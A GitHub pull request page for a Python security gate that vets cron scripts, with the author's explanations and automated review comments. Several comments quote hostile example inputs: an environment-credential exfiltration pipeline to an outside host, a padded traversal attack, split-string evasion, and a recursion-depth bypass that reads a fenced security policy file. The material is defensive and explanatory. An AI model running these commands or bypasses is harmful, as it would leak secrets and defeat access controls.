Skip to content

fix(security): point the traversal passes at a source body's command strings - #8550

Merged
bolichen97 merged 1 commit into
kirodotdev:mainfrom
bolichen97:fix/source-body-traversal-subject-7912
Sep 5, 2026
Merged

fix(security): point the traversal passes at a source body's command strings#8550
bolichen97 merged 1 commit into
kirodotdev:mainfrom
bolichen97:fix/source-body-traversal-subject-7912

Conversation

@bolichen97

@bolichen97 bolichen97 commented Sep 4, 2026

Copy link
Copy Markdown
Collaborator

Problem / Motivation

is_sensitive_source_body hands the whole Python body to is_sensitive_bash_command, and
three passes in there require a subject that IS a command line. Each then answers a question
a document cannot support, for two different reasons.

The two traversal passes walk shell STRUCTURE under a fail-closed budget.
_alt_collect_stages splits on newline / ; / |, so every line of a source file counts as a
pipeline stage and a few hundred lines exhaust _ALT_MAX_STAGES carrying no shell at all:

from kiro_crew.mcp_cron import _vet_script_contents
_vet_script_contents("x = 1\n" * 600)
# Error: cron script blocked by security policy: Blocked: command has more pipeline
# stages than this gate inspects (512), so a traversal in it cannot be ruled out

The env-credential rules are ordered-existence patterns describing one pipeline, so over a
document they match pieces lying arbitrarily far apart and produce a false DENIAL. A 48 KB body
drew that denial while containing no such pipeline: the accessor near the top, a pipe after it, a
filter word inside a comment, the credential prefix later still. No single line trips it and no
40-line window reproduces it.

Follows #7913, which closed the reported instance of #7912 (pass 1b, the separator collapse).
Same root cause, different passes; #7913's branch was measured and 8 of 13 cron scripts stayed
refused on it.

Why it matters

The traversal refusal is keyed on the body's size, not on anything it contains, so it bans
ordinary scripts for being long while a small malicious body is still fully inspected. What the
ceiling costs is the feature, not the fence — an availability defect rather than an open path,
which is why it reads as fail-closed and correct to a security review.

It is also not recoverable by the operator. The gate runs at every fire and, by design, keeps
the job and does not feed the auto-pause counter, so an affected script is refused on every tick
indefinitely, with a message naming shell constructs the body does not contain.

Measured on one real install: 6 of 13 script crons refused, 8 once the sibling substitution budget
landed — intake, dispatch, cleanup and audit all stopped at a gateway restart with no local change
and no script edited for three days.

What changed

A parsed and fully walked body hands those three passes the command strings it CONTAINS. The
rest are left on the whole subject on purpose: passes 1 to 3 and the IMDS check match text or judge
tokens with neither a structural budget nor an ordered-existence shape, so a document cannot
assemble a verdict out of pieces no command line holds together.

This is a change of SUBJECT, not the "spend the budget then answer smaller" shape whose fail-open
instances were removed alongside _AltWorkBudget: each subject is analysed completely, to the same
depth, under the same budget; the first denial wins, so adding subjects can only ADD denials; and a
caller that supplies no subjects keeps the whole-subject behaviour byte for byte.

The two KINDS of pass get different subjects, because they need opposite things:

  • _traversal_subjects — each command string on its own. Structure needs a small subject.
  • _env_subject — all of them CONCATENATED in source order. An ordered-existence rule needs the
    pieces together: a body can assemble its command from fragments where no fragment matches.

Supporting pieces:

  • _parse_source_body is the one spelling of the parse and of what "unparseable" means, shared with
    the literal fence scan so the two cannot disagree, and the body is parsed once.
  • _source_command_subjects collects every str/bytes constant — f-string fragments and
    docstrings included — decoded as the fence scan decodes them, in source order (ast.walk is
    breadth-first, so a left-nested + chain comes back scrambled). Nothing is filtered as "cannot be
    a command": a subject naming no traversal matches no rule, so over-collecting costs work and can
    only add denials, while under-collecting is a missed read. A whitespace-only value is the one
    exclusion, provable rather than heuristic.
  • Both conditions for the carve-outs are CHECKED, not assumed: the body must parse and the
    literal walk must have completed. visit is recursive and reports a depth overflow as
    parsed=False, so a body that parses but overflows falls all the way back to the whole document
    with pass 1b included.
  • An unparseable body has no strings to hand over and keeps the whole-document scan, pass 1b and
    every budget included.
  • _SOURCE_COMMAND_SUBJECT_CAP = 1024 bounds the dimension this opens up, the subject COUNT:
    per-subject cost is bounded (150–620 µs measured) but the count is author-controlled. The largest
    real body measured (1170 lines) carries 441 constants and the median ~140, so the cap is ~2.3× the
    largest real body, ~0.6 s of worst-case work, and exhausting it REFUSES for the same reason
    _ALT_MAX_STAGES does.

Docs updated in the same commit: docs/system-specs/modules/security.md and
docs/system-specs/modules/learn-cron-dashboard.md.

Tests

test/test_security_source_command_subject.py, 30 cases, pinning every direction:

  • the length ceiling is gone (600- and 2000-statement benign bodies allowed);
  • the shell command line keeps it exactlyfix(security): gate traversals that reach a fence without find #7441's padded-stage attack
    ("echo x | " * 600 + "rg . ~/.kiro/crew") still denied, and so is the plain 600-stage command,
    ceiling message intact;
  • a traversal hiding in a literal is still caught: grep -r rooted above the fence,
    find … -exec cat, a bytes command literal, and one behind 600 statements (denied for the
    traversal, asserted not for the size);
  • the env rules: no single fragment matches, the fragment-assembled command is denied, subjects come
    back in source order, and the document-spread false denial stays allowed;
  • a body too deep to walk reports inspected=False, is still denied, and specifically keeps pass 1b;
  • over-cap refuses and names the cap; at-cap is allowed; a parsed body with no literals is allowed;
    the fence scan still runs on the only literal.

Mutation-verified — each load-bearing decision was reverted and the suite reddened: whole-document
traversal subject (8 red), over-cap allowed (2), unparseable body not falling back (2), the
inspected flag discarded (2), env on the whole document (2), literals not in source order (2).

Regression sweep: 4066 passed, 2 skipped across the 63 test_security* / test_mcp_cron* /
test_cron* files.

Gates: isort, flake8 7.1.0, mypy, scripts/check_black_formatting.py,
scripts/check_subprocess_encoding.py, scripts/docs_lint.py — all pass. security.py was
deliberately not run through a bare black: it is in the black baseline, and formatting it
reformats 528 pre-existing lines of unrelated churn.

Effect on the measured install, with the merged sibling #8557 in main: 12 of 13 scripts recover.

Residual, named rather than silently carried

The 13th is refused for a genuine reading of its own text: a docstring whose first word is "Find",
followed by 3 KB of prose that the find grammar reads as root operands until _FIND_ROOT_BUDGET
gives up. That is the "prose is indistinguishable from a command" limit, not a counting error, and
not something to paper over in this gate.

Pattern harvest

Rule candidate: review rule, plus one semgrep-shaped check.

Pattern (review rule): when a gate acquires a caller whose subject is a different KIND of text,
every pass inside it must be re-asked whether its premise still holds — one at a time.

is_sensitive_bash_command is documented throughout as taking a command line. #7913 gave it a
second kind of subject and correctly re-scoped the one pass whose premise it had examined. Three
others silently kept the old premise, and the two failure modes that produced were opposite in kind
— a refusal keyed on SIZE, and a false denial assembled from distant pieces — which is why
finding one did not lead to the other. The generalizable move is that a new caller with a new
subject kind is a per-pass re-derivation, not a single decision; the violated premise is never
visible at the call site.

The same shape produced the two findings this PR took in review: a two-valued signal (parsed and
inspected) was collapsed into one, and a subject that must be read TOGETHER was handed over
piecewise. Both are "the new subject does not satisfy the old contract", one layer further in.

Pattern (semgrep-shaped): an ordered-existence regex is only sound on a subject with
single-statement scope.
A pattern of the form A .* B .* C asserts "these appear in this order in
ONE command". Applied to multi-line input it asserts almost nothing. Candidate check: flag any regex
combining two or more .*-separated alternation groups that is reachable from a caller passing input
that may contain a newline, unless the pattern is anchored per line. Both halves are statically
visible: the pattern's shape, and whether any caller's subject is line-bounded.

Not generalizable, and stated so it is not mistaken for the above: the specific value 1024 for
_SOURCE_COMMAND_SUBJECT_CAP is a measurement against one corpus, not a rule.

@bolichen97
bolichen97 requested a review from a team as a code owner September 4, 2026 20:30
@bolichen97
bolichen97 requested a review from smeyffret September 4, 2026 20:30
@bolichen97
bolichen97 force-pushed the fix/source-body-traversal-subject-7912 branch from 51cb7e7 to 0c1079e Compare September 4, 2026 20:45
@bolichen97

Copy link
Copy Markdown
Collaborator Author

Force-pushed 51cb7e73d -> 0c1079ef7 to withdraw a claim in this PR that I have since falsified, plus the residual it uncovered. No behaviour change: docstring and security.md only.

The withdrawn sentence said the passes left on the whole body "judge tokens or match text under no whole-subject structural budget, so a document costs them noise rather than a verdict". The second half is wrong. With the sibling backtick over-count corrected (#8557), a 1107-line cron script that this PR frees from the stage ceiling reaches _check_env_credential_access and is denied by it — "command reads AWS credentials from environment variables" — on a document reading: no single line trips it, and no window of 3, 10 or 40 lines reproduces it, so the match pairs an env-read verb with a credential name hundreds of lines apart. It was masked before only because the traversal passes run first and refused.

That is pre-existing rather than introduced here — this PR moves the two traversal passes and does not touch the env pass — but "a document costs them noise rather than a verdict" was load-bearing reasoning for leaving them alone, and it is not true. The docs now say what was measured instead, and name the env pass's subject as the next question in the sequence rather than carrying it silently.

Scope is unchanged deliberately: the env pass needs its own subject decision (it is a detection, not a budget, so the argument that carried the traversal passes does not transfer), and folding a third pass into this change would make one review carry three separate premises.

@github-actions github-actions Bot added the fork Pull request from a fork (external contributor) label Sep 4, 2026
@bolichen97
bolichen97 force-pushed the fix/source-body-traversal-subject-7912 branch 3 times, most recently from 8d2522f to fd9dc77 Compare September 4, 2026 21:04
@bolichen97

Copy link
Copy Markdown
Collaborator Author

Scope widened, and my earlier reason for keeping it narrow withdrawn. Force-pushed to fd9dc7704; still one commit.

Two comments ago I said the env-credential pass "needs its own subject decision" and kept it out because it is a detection rather than a budget, so the argument carrying the traversal passes did not transfer. That was wrong. The mechanism differs but the premise is identical: a rule written for ONE command line, handed a document.

  • traversal passes: shell structure under a fail-closed budget → a document exhausts the budget → refusal keyed on SIZE
  • env-credential rules: ordered-existence patterns describing one pipeline → a document supplies the pieces arbitrarily far apart → false DENIAL

Measured: a 48 KB cron body draws the env-credential denial while containing no such pipeline at all. The pattern's opening accessor appears near the top, a pipe character somewhere after it, one of its filter words inside a comment, and the credential prefix later still. No single line trips it, and no window of 3, 10 or 40 lines reproduces it.

So _traversal_subjects is now _command_subjects and covers all three passes. One mechanism instead of two, and the parameter says what it means.

Scoping the env rules costs nothing on this path, and the PR pins it: the Python spelling those rules are not about — os.environ[...], os.getenv(...) — is caught by the cron gate's own bare-NAME matcher, which runs first and stays whole-document. The shell spelling the rules do describe lives in a string literal and is still judged as one, also pinned.

What is deliberately left alone, and why, is now stated rather than assumed: passes 1 to 3 and the IMDS check match text or judge tokens with neither a structural budget nor an ordered-existence shape, so a document cannot assemble a verdict out of pieces no command line holds together. The IMDS check in particular matches an address — a hit means the subject really contains one, wherever it sits.

Also in this push: the test file is renamed to test_security_source_command_subject.py and gains TestEnvCredentialRulesAreSubjectScoped (4 cases, mutation-verified by returning the env pass to the whole subject → 1 red). The over-cap refusal message now names both kinds of thing it could not rule out.

Regression: 4059 passed / 2 skipped across the 63 test_security* / test_mcp_cron* / test_cron* files; static gates and docs_lint.py clean.

Effect on the install this was measured against: with the sibling backtick fix (#8557) applied alongside, 12 of 13 cron scripts recover. The 13th is refused for a genuine reading of its own text — a docstring whose first word is "Find", followed by 3 KB of prose that the find grammar reads as root operands until _FIND_ROOT_BUDGET gives up — which is the "prose is indistinguishable from a command" limit, not a counting error, and not something I would paper over in this gate.

@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Sep 4, 2026
@bolichen97

Copy link
Copy Markdown
Collaborator Author

E2E (stub ACP backend, offline) is red here for #8526, not for this change.

Run 33919328007: 251 passed, 1 failed, 1 flaky, and the failed and flaky specs are exactly the two @needs-agent ones — fork.spec.ts:36 (assistant-more-actions not found, 3/3 attempts) and chat.spec.ts:55 (.msg-content hidden, passed on retry). #8526 records the same assertion failing deterministically on main's own CI and reddening the job on every open PR's merge ref, with the regression window narrowed to 824ab57e8 (green) → f5596230f (red).

This PR's diff is src/kiro_crew/security.py plus its own tests and docs — no frontend, no ACP, no E2E harness — so it cannot reach an assistant message's action row. Narrowing evidence for the window (one of the two named candidate commits ruled out) is posted on #8526 rather than here.

Not dismissed as flaky: the failure is deterministic, it is tracked, and the sibling PR carrying the same base (#8557) is expected to show the same red for the same reason.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running and removed readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention labels Sep 4, 2026
@bolichen97
bolichen97 force-pushed the fix/source-body-traversal-subject-7912 branch from fd9dc77 to ac908ef Compare September 4, 2026 23:08
@github-actions

github-actions Bot commented Sep 4, 2026

Copy link
Copy Markdown
Contributor

Design Review (Fable 5, fork) — ✅ PASS

Design-level review of 4cb69e1fb5e3289b0afb6027c7d5c6da81515cbf via the fork AI-review pipeline — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: PASS

Right shape: re-pointing command-line passes at the command strings a body contains fixes the premise violation, keeps the shell path byte-identical, and fails closed everywhere.

Suggestions

  • Over-cap (_SOURCE_COMMAND_SUBJECT_CAP) could fall back to the whole-document scan — the unparseable-body path, budgets included — instead of a flat refusal: that is exactly the pre-change treatment, never exonerates an uninspected subject, and spares a short but literal-heavy body (a one-line tuple of 2 000 strings) from the same permanent every-fire refusal this PR exists to remove, re-created one size dimension over.

[DESIGN-REVIEWED] 4cb69e1

@github-actions

github-actions Bot commented Sep 4, 2026

Copy link
Copy Markdown
Contributor

First Principles Review (Fable 5, fork) — 🟡 CONCERNS

Premise-level review of 4cb69e1fb5e3289b0afb6027c7d5c6da81515cbf via the fork AI-review pipeline — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Verification against the trusted base is complete. The reported defect is real: is_sensitive_source_body (src/kiro_crew/security.py:10021-10035 at base) hands the whole body to is_sensitive_bash_command, whose passes 4/5 split stages on newline (_alt_collect_stages, security.py:18294) and refuse at _ALT_MAX_STAGES = 512 (security.py:18146, 19555), so a 600-line benign Python body refuses on size. The fix changes the subject, which is cause-level. One gap: the diff also subject-scopes a third pass, _check_env_credential_access — an allow-direction behavior change the description explicitly excludes ("and only those two"), and the description's identifiers (_traversal_subjects, _SOURCE_TRAVERSAL_SUBJECT_CAP, the test filename, "20 cases") match nothing in the diff.

First-Principles-Verdict: CONCERNS

The description promises subject-scoping for "only those two" traversal passes; the diff also scopes the env-credential rules — an undeclared, allow-direction rider.

What this change ships

Intent: stop the cron script-body gate refusing ordinary long Python scripts for their length — a FIX.

  1. Long benign Python cron bodies no longer refused for size — justified (defect reproduced at base security.py:10035 → 18298).
  2. Shell command lines keep the stage ceiling byte-for-byte — justified, test-pinned.
  3. Traversal hidden in a string/bytes literal still denied — justified, coverage kept.
  4. Env-credential rules no longer match pieces spread across a document — rides along; description says "only those two" passes.
  5. New refusal for bodies with >1024 string constants (_SOURCE_COMMAND_SUBJECT_CAP) — justified (derived from the documented _ALT_MAX_STAGES fail-closed rule).
  6. Unparseable body keeps whole-document scan, budgets included — justified.
  7. _command_subjects internal param on is_sensitive_bash_command — 1 consumer (is_sensitive_source_body), acceptable as the seam.
  8. _parse_source_body shared parse + tree param — justified (one spelling of "unparseable").
  9. Spec docs updated same-commit — mandated by AGENTS.md.

Watch

  • "A parsed body now hands those two passes — and only those two — the command strings" is contradicted by the diff's for subject in command_subjects: env_result = _check_env_credential_access(subject). Unlike items 1–3, this rider LOOSENS a verdict (test_pieces_spread_across_a_document_are_not_a_denial pins a previously-denied body as allowed). Same root cause ("a one-command-line rule handed a document"), so fixing it here is defensible generality — but it needs declaring, not narrating away.
  • The description names _traversal_subjects, _SOURCE_TRAVERSAL_SUBJECT_CAP, test_security_source_traversal_subject.py (20 cases); the diff ships _source_command_subjects, _SOURCE_COMMAND_SUBJECT_CAP, test_security_source_command_subject.py (25 cases). The description documents an earlier revision — update it so the mutation/regression claims attach to the code actually shipped.

Subtractions

  • If the env-credential loosening can't be owned in this PR's description, defer it: drop the second for subject in command_subjects loop over _check_env_credential_access and its test class into their own change, keeping that pass whole-subject here.

[FIRST-PRINCIPLES-REVIEWED] 4cb69e1

@github-actions

github-actions Bot commented Sep 4, 2026

Copy link
Copy Markdown
Contributor

GPT 5.6 Review (fork) — 🔴 changes requested (blocking)

Reviewed 4cb69e1fb5e3289b0afb6027c7d5c6da81515cbf via the fork AI-review pipeline; updated in place on each push.

2 of 2 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

BLOCKING -- src/kiro_crew/security.py:10163 -- Split literals bypass the environment-credential guard
for subject in command_subjects:
"env | grep " + "AWS_" -> cron source vetting scans fragments separately -> protected AWS environment values reach cron stdout.
Anchor: residual/guard-removal
Fix: Preserve the whole-body environment check or inspect statically concatenated strings.

BLOCKING -- src/kiro_crew/security.py:10223 -- Literal-walk recursion fallback is discarded
_, literal_reason = _sensitive_run_in_source_literals(text, tree=tree)
A valid body with a 1000-deep dead attribute chain and doubled %LOCALAPPDATA%\\kiro-cli path -> literal walk returns parsed=False -> raw collapsed-path fallback is skipped -> the script can read the fenced credential store.
Anchor: residual/guard-removal
Fix: Retain the parse status and run the raw shell-grammar fallback when it is false.

[BLOCK-MERGE] 4cb69e1
[GPT-REVIEWED] 4cb69e1

@github-actions

github-actions Bot commented Sep 4, 2026

Copy link
Copy Markdown
Contributor

Opus 4.8 Review (fork) — 🔴 changes requested (blocking)

Reviewed 4cb69e1fb5e3289b0afb6027c7d5c6da81515cbf via the fork AI-review pipeline; updated in place on each push.

I've verified the mechanism against the code. Key confirmations:

  • _re_module_is_authentic / _pattern_reextracted use iterative ast.walk (no overflow), so they don't crash first; the only recursive descent is visit() inside _sensitive_run_in_source_literals (security.py:9856–9890), and its except RecursionError returns (False, None).
  • CPython's PEG parser handles left-recursive + iteratively, so x = 1+1+…+1 (thousands of terms) parses while the recursive visit() overflows at AST depth ~950 — precisely the "parses but too deep to traverse" case the author's own retained try/except RecursionError (9892–9898) and the updated spec text ("one too deep to traverse, keeps the raw-text collapse") acknowledge exists.
  • In the new is_sensitive_source_body, that (False, None) return is bound to _ (discarded), so control proceeds to _source_command_subjects (iterative, succeeds) and calls is_sensitive_bash_command(..., _subject_is_shell_grammar=False, ...), which skips pass 1b (the separator-collapse). The old code passed _subject_is_shell_grammar=not parses = True, running pass 1b and denying the doubled-separator fenced read.

All three grounded: (a) attacker-authored cron body with a leading deep 1+…+1 followed by open(r"~/.kiro/crew//security_policy.json") (or %LOCALAPPDATA%\\kiro-cli\\c.json); (b) _vet_script_contentsis_sensitive_source_body → visit overflow → subjects path with pass 1b skipped; (c) the fenced/keystone read is allowed where it was previously denied — the #6350 bypass, reopened inside a script, on every fire.

Fix is fully in-diff (honor the returned flag), and the consequence is governance-ceiling/credential exposure, so it stays BLOCKING.

Merge blocked: the new is_sensitive_source_body discards _sensitive_run_in_source_literals's parse flag, so a parseable-but-too-deep body that overflows the literal visit() walk falls through to the shell scan with pass 1b (separator-collapse) skipped — reopening the #6350 doubled-separator fence bypass inside a cron script.

BLOCKING — src/kiro_crew/security.py (is_sensitive_source_body, the _, literal_reason = _sensitive_run_in_source_literals(text, tree=tree) line)
_, literal_reason = _sensitive_run_in_source_literals(text, tree=tree)
A cron body of x = 1+1+…+1\n (≈2000 terms; parses via PEG left-recursion) followed by open(r"~/.kiro/crew//security_policy.json")_vet_script_contentsis_sensitive_source_body: visit() overflows on the leading deep BinOp, caught as (False, None), the parsed=False flag is dropped into _, so the doubled-separator literal (never fence-checked, since visit bailed before reaching it) is handed to is_sensitive_bash_command(..., _subject_is_shell_grammar=False) where pass 1b is skipped and passes 1–3 miss the doubled separator → the fenced/keystone read is allowed and runs on every fire, exactly the case the old _subject_is_shell_grammar=not parses (=True) denied.
Fix: capture the flag and honor it — parsed, literal_reason = _sensitive_run_in_source_literals(text, tree=tree), and after the literal_reason check add if not parsed: return is_sensitive_bash_command(text, _subject_is_shell_grammar=True) before collecting subjects, matching the unparseable branch and the documented "too deep to traverse keeps the raw-text collapse."

[BLOCK-MERGE] 4cb69e1
[OPUS-REVIEWED] 4cb69e1

@bolichen97
bolichen97 force-pushed the fix/source-body-traversal-subject-7912 branch from ac908ef to 4cb69e1 Compare September 4, 2026 23:37
@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Sep 5, 2026
…e subject

Three passes in `is_sensitive_bash_command` require a subject that IS a command
line. `is_sensitive_source_body` handed all of them the whole Python body, and each
then answers a question the document cannot support -- for two different reasons.

The two traversal passes walk shell STRUCTURE under a fail-closed budget. Stages
split on newline, so every line of a source file counts as a pipeline stage: a body
of a few hundred lines exhausts `_ALT_MAX_STAGES` while carrying no shell content at
all, and `"x = 1\n" * 600` is refused. The refusal is keyed on the body's SIZE -- an
ordinary script is banned for its length, at every fire, and the fire-time gate keeps
the job -- while a small malicious body is still fully inspected. What the ceiling
costs is the feature, not the fence.

The env-credential rules are ORDERED-EXISTENCE patterns describing one pipeline. Over
a document they match pieces lying arbitrarily far apart, so a 48 KB body drew that
denial while containing no such pipeline: the pattern's opening env accessor appears
near the top, a pipe character somewhere after it, one of its filter words inside a
comment, and the vendor prefix later still. No single line trips it and no 40-line
window reproduces it. That one is a false DENIAL rather than a refusal, and it was
masked only because the traversal passes run first.

Measured on one real install, 6 of 13 cron scripts were refused by the stage ceiling,
and 8 once the sibling substitution budget landed: intake, dispatch, cleanup and audit
all stopped at a gateway restart with no local change.

So a parsed body now hands those three passes the command strings it CONTAINS. The
rest are left on the whole subject on purpose: passes 1 to 3 and the IMDS check match
text or judge tokens with neither a structural budget nor an ordered-existence shape,
so a document cannot assemble a verdict out of pieces no command line holds together.

This is a change of SUBJECT, not the "spend the budget then answer smaller" shape
whose fail-open instances were removed alongside `_AltWorkBudget`: each subject is
analysed completely, to the same depth, under the same budget, the first denial wins
so adding subjects can only ADD denials, and a caller that supplies no subjects keeps
the whole-subject behaviour byte for byte.

- `_parse_source_body` is the one spelling of the parse and of what unparseable
  means, shared with the literal fence scan so the two cannot disagree, and the body
  is parsed once however many questions are asked of it.
- `_source_command_subjects` collects every `str`/`bytes` constant, f-string
  fragments and docstrings included, decoded as the fence scan decodes them. Nothing
  is filtered as "cannot be a command": a subject naming no traversal matches no
  rule, so over-collecting costs work and can only add denials, while
  under-collecting is a missed read. A whitespace-only value is the one exclusion,
  provable rather than heuristic.
- An unparseable body has no strings to hand over and keeps the whole-document scan,
  pass 1b and every budget included, so it is never quietly exonerated.
- `_SOURCE_COMMAND_SUBJECT_CAP` bounds the dimension this opens up, the subject
  COUNT: per-subject cost is bounded (150-620 us measured) but the count is
  author-controlled. The largest real body measured (1170 lines) carries 441
  constants and the median ~140, so the cap is 1024 -- ~2.3x the largest real body,
  ~0.6 s of worst-case work -- and exhausting it REFUSES, for the same reason
  `_ALT_MAX_STAGES` does.

Scoping the env rules loses nothing on this path: the PYTHON spelling they are not
about is caught by the cron gate's own bare-NAME matcher, which runs first and stays
whole-document, and is pinned by test here.

Residual, named rather than silently carried: `_find_substitution_openers` counts
every backtick as a substitution opener, so a docstring with 66 markdown code spans
reads as 66 nested substitutions and still refuses. Shell backticks cannot nest
without escaping, so the opener count over-states the nesting depth the budget
guards; correcting that proxy is a separate change.

Refs kirodotdev#7912, follows kirodotdev#7913.

Co-authored-by: Kiro Crew <kiro-crew@amazon.com>
@bolichen97
bolichen97 force-pushed the fix/source-body-traversal-subject-7912 branch from 4cb69e1 to a3df114 Compare September 5, 2026 01:13
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 5, 2026
@bolichen97

Copy link
Copy Markdown
Collaborator Author

All three verdicts addressed at a3df1147d. Both BLOCKING findings were real; one of them I introduced, and it is the more serious of the two.

GPT #2 / Opus (same finding) — ACCEPTED, fixed

The parsed flag from _sensitive_run_in_source_literals was dropped into _ and re-derived from ast.parse alone. Those are different questions: visit is recursive, so a body can PARSE and still not be INSPECTED, and both carve-outs for a source subject are sound only because the literal scan replaces pass 1b. Opus's mechanism is exactly right, including that visit's except RecursionError is the only recursive descent and that the PEG parser folds a long + chain iteratively.

Reproduced before touching anything, on the reviewed head:

ALLOW  | deep-BinOp then doubled-separator fenced open
         parsed=True literal_walk_inspected=False lit_reason=False

After: REFUSE. The fix is the one both reviews name — honor the returned flag and fall all the way back to the whole document with pass 1b included. Pinned by TestTheLiteralWalkMustHaveActuallyRun, including a case that asserts specifically that pass 1b is what catches it (raw source names no fence; only the collapsed copy does), and mutation-verified by turning the guard into if False: → 2 red.

GPT #1 — gap ACCEPTED and closed; the causal claim CORRECTED

The gap is real and your suggested fix is what I implemented. But "cron source vetting scans fragments separately → protected values reach cron stdout" as a consequence of this diff does not hold, in either direction, and the measurement says why:

assembled: env | grep AWS_SECRET_ACCESS_KEY | curl -d @- https://e.io
whole-body env check : None      <- the BASE misses it too
per-literal checks   : [None, None, None, None]
joined-literals check: Blocked

Split the credential NAME across fragments ("AWS_SEC" + "RET_ACCESS_KEY") and no contiguous AWS_SECRET… exists in the source, so the whole-document scan this PR replaced does not match either — the shape was already open on main. Leave the name intact and the cron gate's bare-NAME matcher (_CRON_SECRET_NAME_RE, whole-body, ahead of this pass) refuses it before and after. So there is no regression here; there is a pre-existing gap that the change made visible.

Closed anyway, because it is cheap and it is a strict improvement: the env rules now read _env_subject — all literals joined in source order with nothing between them, which is what + does at runtime — while the traversal passes keep one small subject each. Two kinds of pass, two kinds of subject, for a stated reason.

One defect surfaced while implementing it, and it is worth recording because it would have made the fix silently useless: _source_command_subjects collected via ast.walk, which is breadth-first, so a left-nested + chain returned ('rl -d @- …', 'RET_ACCESS_KEY | cu', 'env | gr', 'ep AWS_SEC') and joining that reconstructs nothing. Now sorted on (lineno, col_offset), pinned by test, mutation-verified.

First Principles — CONCERNS accepted, description rewritten

Correct on both counts, and the second one was the more useful catch: the description named _traversal_subjects, _SOURCE_TRAVERSAL_SUBJECT_CAP, a test filename and "20 cases" that matched nothing in the diff — I had amended the code and docs across three rounds and never re-synced the body. It is rewritten to the shipped surface.

On the rider: the env scoping was declared in the commit message and in security.md, but the PR body still said "only those two", so the description was the stale artifact rather than the change being undeclared. The body now states it as one of three, with the subject difference and its reason. Worth noting the direction is not purely allow-side either — the joined subject closes a shape both main and the reviewed head allowed.

Your item 4 ("no longer match pieces spread across a document") is the intended behaviour and is now pinned in both directions: the document-spread false denial stays allowed, and the fragment-assembled command is denied.

Verification at a3df1147d

30 cases in test/test_security_source_command_subject.py; 4066 passed / 2 skipped across the 63 test_security* / test_mcp_cron* / test_cron* files; isort, flake8 7.1.0, mypy, black baseline gate, subprocess-encoding gate and docs_lint.py clean. Six mutations, each caught: whole-document traversal subject (8 red), over-cap allowed (2), unparseable body not falling back (2), inspected discarded (2), env on the whole document (2), literals not in source order (2).

@bolichen97
bolichen97 merged commit 46c9d40 into kirodotdev:main Sep 5, 2026
109 of 111 checks passed
@github-actions github-actions Bot removed the readiness: checking Automated validation is still running label Sep 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

fork Pull request from a fork (external contributor)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant